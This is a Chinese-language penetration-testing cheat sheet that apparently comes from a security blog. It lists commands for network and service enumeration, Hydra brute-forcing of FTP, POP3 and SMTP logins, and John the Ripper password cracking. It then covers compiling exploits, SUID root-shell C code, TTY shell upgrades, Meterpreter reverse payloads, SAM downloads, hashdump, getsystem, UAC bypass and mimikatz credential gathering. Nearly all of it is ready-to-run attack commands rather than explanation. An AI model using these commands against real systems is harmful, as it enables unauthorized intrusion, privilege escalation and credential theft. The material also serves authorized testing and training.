侦查和枚举 NMAP命令 Nmap(“网络映射器”)是一个免费的开源实用程序,用于网络发现和安全审核。许多系统和网络管理员还发现它对于诸如网络清单,管理服务升级计划以及监视主机或服务正常运行时间之类的任务很有用。Nmap以新颖的方式使用原始IP数据包来确定网络上可用的主机,这些主机提供的服务(应用程序名称和版本),它们正在运行的操作系统(和OS版本),包过滤器/防火墙的类型。正在使用中,还有许多其他特性。它旨在快速扫描大型网络,但可以在单个主机上正常运行。Nmap可在所有主要的计算机操作系统上运行,并且官方二进制软件包可用于Linux,Windows和Mac OSX。
命令 描述 nmap -v -sS -A -T4 目标 Nmap详细扫描,运行同步隐身,T4定时(在局域网上应该可以),操作系统和服务版本信息,针对服务的traceroute和脚本 nmap -v -sS -p–A -T4 目标 如上,但是扫描所有TCP端口(花费更长的时间) nmap -v -sU -sS -p- -A -T4 目标 如上,但是扫描所有TCP端口和UDP扫描(需要更长的时间) nmap -v -p 445 –script = smb-check-vulns –script-args = unsafe = 1 192.168.1.X Nmap脚本可扫描易受攻击的SMB服务器–警告:不安全= 1可能会导致故障转移 nmap本地主机 显示当前正在使用的所有端口 ls /usr/share/nmap/scripts/* | grep ftp 在nmap脚本中搜索关键字 SMB枚举 在计算机网络中,服务器消息块(SMB)(一种版本也称为通用Internet文件系统(CIFS,/ ˈsɪfs /))作为应用层网络协议运行,主要用于提供对文件,打印机,和串行端口以及网络上节点之间的其他通信
命令 描述 nbtscan 192.168.1.0/24 发现子网中的Windows / Samba服务器,找到Windows MAC地址,netbios名称并发现客户端工作组/域 enum4linux -a target-ip 做所有事情,运行除基于字典的共享名猜测之外的所有选项(查找Windows客户端域/工作组) 其他主机发现 其他主机发现方法,不使用nmap…
命令 描述 netdiscover -r 192.168.1.0/24 从ARP查找子网中的IP,MAC地址和MAC供应商,有助于确认您在$client站点上的正确VLAN中 SMB枚举 枚举Windows共享/ Samba共享。
命令 描述 nbtscan 192.168.1.0/24 发现子网中的Windows / Samba服务器,找到Windows MAC地址,netbios名称并发现客户端工作组/域 enum4linux -a target-ip 做所有事情,运行除基于字典的共享名猜测之外的所有选项(查找Windows客户端域/工作组) SMB枚举SMB枚举
Python本地Web服务器 Python本地Web服务器命令,方便在攻击计算机上提供shell和漏洞利用。
命令 描述 python -m SimpleHTTPServer 80 运行基本的http服务器,非常适合服务shell等 kali metasploit bannerkali metasploit banner
挂载文件共享 如何挂载NFS / CIFS,Windows和Linux文件共享。
命令 描述 mount 192.168.1.1:/vol/share /mnt/nfs 将NFS共享挂载到/ mnt / nfs mount -t cifs -o username=user,password=pass ,domain=blah //192.168.1.X/share-name /mnt/cifs 如果删除密码,则在Linux上的/ mnt / cifs上挂载Windows CIFS / SMB共享,它将在CLI上提示(更安全,因为它不会出现在bash_history中) net use Z: \win-server\share password /user:domain\janedoe /savecred /p:no 从命令行在Windows上挂载Windows共享 apt-get install smb4k -y 在Kali(用于浏览SMB共享的有用Linux GUI)上安装smb4k 基本指纹 设备指纹或机器指纹或浏览器指纹是出于识别目的而收集的有关远程计算设备的信息。即使关闭了cookie,也可以使用指纹来完全或部分识别单个用户或设备。
命令 描述 nc -v 192.168.1.1 25 telnet 192.168.1.1 25 通过显示的横幅进行基本的版本控制/指纹识别 SNMP枚举 SNMP枚举是使用SNMP枚举目标系统上的用户帐户的过程。SNMP使用两种主要类型的软件组件进行通信:位于网络设备上的SNMP代理和与代理进行通信的SNMP管理站。
命令 描述 snmpcheck -t 192.168.1.X -c public snmpwalk -c public -v1 192.168.1.X 1 |grep hrSWRunName|cut -d* * -f snmpenum -t 192.168.1.X onesixtyone -c names -i hosts SNMP枚举
DNS区域转移 命令 描述 nslookup -> set type=any -> ls -d blah.com Windows DNS区域传输 dig axfr blah.com @ns1.blah.com Linux DNS区域传输 域名解析 DNSRecon提供执行以下功能:
检查所有NS记录以进行区域传输 枚举给定域(MX,SOA,NS,A,AAAA,SPF和TXT)的常规DNS记录 执行通用的SRV记录枚举。顶级域(TLD)扩展 检查通配符解析 给定域和单词列表的蛮力子域以及主机A和AAAA记录 对给定的IP范围或CIDR执行PTR记录查找 检查DNS服务器缓存记录中的A,AAAA和CNAME记录是否在文本文件中提供了主机记录的列表以进行检查 枚举本地网络中的通用mDNS记录枚举使用Google的主机和子域 DNS枚举Kali-DNSReconroot:〜# dnsrecon -d 目标 -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml HTTP / HTTPS Web服务器枚举 命令 描述 nikto -h 192.168.1.1 对目标执行nikto扫描 dirbuster 目录爆破 通过GUI配置,CLI输入在大多数情况下不起作用 对www.ddosi.com执行nikto扫描对www.ddosi.com执行nikto扫描
包检查 命令 描述 tcpdump tcp port 80 -w output.pcap -i eth0 下载接口eth0上端口80的tcpdump,输出到output.pcap 用户名枚举 用于远程枚举目标系统上的用户的一些技术。
SMB用户枚举 命令 描述 python /usr/share/doc/python-impacket-doc/examples/samrdump.py 192.168.XXX.XXX 枚举SMB中的用户 ridenum.py 192.168.XXX.XXX 500 50000 dict.txt RID循环SMB /从SMB枚举用户 SNMP用户枚举 命令 描述 snmpwalk public -v1 192.168.X.XXX 1 |grep 77.1.2.25 |cut -d” “ -f4 SNMP的新兴用户 python /usr/share/doc/python-impacket-doc/examples/samrdump.py SNMP 192.168.X.XXX SNMP的新兴用户 nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt (然后是grep) 搜索具有nmap,可重复输出的SNMP服务器 密码 Wordlists 命令 描述 /usr/share/wordlists kali密码表位置 kali linux密码字典位置kali linux密码字典位置kali linux密码字典位置-sql字典示例kali linux密码字典位置-sql字典示例
可参考g0tm1lk博客上的大量词汇表
暴力破解 Hydra FTP暴力破解 Hydra是并行的登录破解程序,它支持多种协议进行攻击。它非常快速和灵活,并且易于添加新模块。该工具使研究人员和安全顾问可以显示远程获得对系统的未授权访问将是多么容易。在Ubuntu上,可以从突触包管理器安装它。在Kali Linux上,它是已安装的。
命令 描述 hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX ftp -V Hydra FTP暴力破解 Hydra九头蛇POP3暴力破解 命令 描述 hydra -l 用户名 -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX pop3 -V hydra 九头蛇POP3暴力破解 Hydra SMTP暴力破解 命令 描述 hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -V Hydra SMTP暴力破解 使用-t限制并发连接,例如:-t 15
密码破解 开膛手约翰– JTR 开膛手约翰与九头蛇等工具不同。Hydra通过在服务守护程序(例如ftp服务器或telnet服务器)上尝试用户名/密码组合来进行盲目的暴力破解。但是,John首先需要哈希。因此,对于黑客来说,更大的挑战是首先获取要破解的哈希。现在,可以使用在线提供的免费彩虹表更轻松地破解哈希表。只需转到其中一个站点,提交哈希即可,如果哈希是由一个普通单词构成的,则该站点几乎会立即显示该单词。Rainbow表基本上将常见单词及其哈希存储在大型数据库中。数据库越大,覆盖的字词越多。
命令 描述 john –wordlist=/usr/share/wordlists/rockyou.txt hashes JTR密码破解 john –format=descrypt –wordlist /usr/share/wordlists/rockyou.txt hash.txt JTR用单词表强制解密 john –format=descrypt hash –show JTR强制解密强力破解 exploit 搜索 查找枚举主机/服务漏洞的方法。
命令 描述 searchsploit windows 2003 | grep -i local 搜索exploit-db以进行利用,在此示例中为Windows 2003 + local esc site:exploit-db.com exploit kernel <= 3 使用Google搜索exploit-db.com中的漏洞 grep -R “W7” /usr/share/metasploit-framework/modules/exploit/windows/* 使用grep搜索metasploit模块– msf搜索有点麻烦 exploit 搜索exploit 搜索
编译漏洞 识别C代码是用于Windows还是Linux C #includes将指示应使用哪个操作系统来构建漏洞利用程序。
命令 描述 process.h, string.h, winbase.h, windows.h, winsock2.h Windows漏洞利用代码 arpa/inet.h, fcntl.h, netdb.h, netinet/in.h,sys/sockt.h, sys/types.h, unistd.h Linux利用代码 编译exploit GCC 编译exploit gcc。
命令 描述 gcc -o exploit exploit.c 基本的GCC编译 GCC在64Bit Kali上编译32Bit漏洞 便于在64位攻击机上交叉编译32位二进制文件。
命令 描述 gcc -m32 exploit.c -o exploit 在64位Linux上交叉编译32位二进制文件 在Linux上编译Windows.exe 在Linux上构建/编译Windows漏洞,生成一个.exe文件。
命令 描述 i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe 在Linux上编译Windows.exe SUID二进制 通常,需要SUID C二进制文件以超级用户身份生成shell,您可以根据需要更新UID / GID和shell。
以下是各种shell的一些快速复制和粘贴示例:
用于/ bin / bash的SUID C Shell int main(void){ setresuid(0,0,0); system(“ / bin / bash”); } 用于/ bin / sh的SUID C Shell int main(void){ setresuid(0,0,0); system(“ / bin / sh”); } 构建SUID Shell二进制文件 gcc -o suid suid.c 对于32位:
gcc -m32 -o suid suid.c TTY shells TTY (Tips / Tricks )提示/技巧,可以从Linux的有限Shell中生成TTYShell,对于从反向Shell运行su等命令很有用。
Python TTY Shell技巧 python -c’import pty; pty.spawn(“ / bin / bash”)’ 回声os.system(’/ bin / bash’) Spawn Interactive sh shell / bin / sh -i Spawn Perl TTY Shell exec“ / bin / sh”; perl -e’exec“ / bin / sh”;’ Spawn Ruby TTY Shell exec“ / bin / sh” Spawn Lua TTY Shell os.execute(’/ bin / sh’) Vi的Spawn TTY Shell 从vi运行shell命令:
:!bash Spawn TTY Shell NMAP !sh Metasploit Metasploit由HD Moore于2003年创建,它是使用Perl的便携式网络工具。到2007年,Metasploit框架已完全用Ruby重写。2009年10月21日,Metasploit项目宣布已被提供统一漏洞管理解决方案的安全公司Rapid7收购。
像Immunity的Canvas或Core Security Technologies的Core Impact等可比较的商业产品一样,Metasploit可用于测试计算机系统的漏洞或闯入远程系统。与许多信息安全工具一样,Metasploit可用于合法和未经授权的活动。自从收购Metasploit Framework之后,Rapid7添加了两个开放核心专有版本,称为Metasploit Express和Metasploit Pro。
Metasploit作为事实上的漏洞利用开发框架的新兴地位导致发布了软件漏洞公告,通常伴随着第三方Metasploit漏洞利用模块,该模块着重强调了该特定漏洞的可利用性,风险和补救措施。Metasploit 3.0开始包含模糊测试工具,用于发现软件漏洞,而不仅仅是利用已知漏洞。通过在2006年11月将lorcon无线(802.11)工具集集成到Metasploit 3.0中,可以看到这一途径。Metasploit 4.0在2011年8月发布。
Meterpreter Payloads Windows reverse meterpreter payload 命令 描述 set payload windows/meterpreter/reverse_tcp Windows反向TCP有效负载 Windows VNC Meterpreter有效负载 命令 描述 set payload windows/vncinject/reverse_tcp set ViewOnly false Meterpreter Windows VNC有效负载 Linux反向Meterpreter有效负载 命令 描述 set payload linux/meterpreter/reverse_tcp Meterpreter Linux反向有效负载 Meterpreter备忘单 有用的meterpreter命令。
命令 描述 upload file c:\windows Meterpreter将文件上传到Windows目标 download c:\windows\repair\sam /tmp 从Windows目标下载Meterpreter文件 download c:\windows\repair\sam /tmp 从Windows目标下载Meterpreter文件 execute -f c:\windows\temp\exploit.exe Meterpreter在目标上运行.exe –方便执行上传的漏洞 execute -f cmd -c 使用cmd shell创建新频道 ps Meterpreter显示流程 shell Meterpreter将Shell对准目标 getsystem Meterpreter尝试特权升级目标 hashdump Meterpreter尝试将哈希值转储到目标上 portfwd add –l 3389 –p 3389 –r target Meterpreter创建端口转发到目标计算机 portfwd delete –l 3389 –p 3389 –r target Meterpreter删除端口转发 通用Metasploit模块 远程Windows Metasploit模块(漏洞利用) Metasploit搜索cve-2019-0708Metasploit搜索cve-2019-0708
命令 描述 use exploit/windows/smb/ms08_067_netapi MS08_067 Windows 2k,XP,2003远程利用 use exploit/windows/dcerpc/ms06_040_netapi MS08_040 Windows NT,2k,XP,2003远程利用 use exploit/windows/smb/ ms09_050_smb2_negotiate_func_index MS09_050 Windows Vista SP1 / SP2和Server 2008(x86)远程利用 本地Windows Metasploit模块(漏洞利用) 命令 描述 use exploit/windows/local/bypassuac 在Windows 7上绕过UAC +设置目标+arch,x86 / 64 Metasploit辅助模块 Auxilary Metasploit Modules 命令 描述 use auxiliary/scanner/http/dir_scanner Metasploit HTTP目录扫描程序 use auxiliary/scanner/http/jboss_vulnscan Metasploit JBOSS漏洞扫描程序 use auxiliary/scanner/mssql/mssql_login Metasploit MSSQL凭据扫描仪 use auxiliary/scanner/mysql/mysql_version Metasploit MSSQL版本扫描程序 use auxiliary/scanner/oracle/oracle_login Metasploit Oracle登录模块 使用Metasploit JBOSS漏洞扫描程序示例使用Metasploit JBOSS漏洞扫描程序示例
Metasploit Powershell模块 命令 描述 use exploit/multi/script/web_delivery Metasploit Powershell负载交付模块 post/windows/manage/powershell/exec_powershell Metasploit通过会话上传并运行Powershell脚本 use exploit/multi/http/jboss_maindeployer Metasploit JBOSS部署 use exploit/windows/mssql/mssql_payload Metasploit MSSQL有效负载 Windows Metasploit Post Exploit模块 命令 描述 run post/windows/gather/win_privs Metasploit显示当前用户的特权 use post/windows/gather/credentials/gpp Metasploit收集GPP保存的密码 load mimikatz -> wdigest Metasplit 加载Mimikatz run post/windows/gather/local_admin_search_enum 识别提供的域用户具有管理访问权限的其他计算机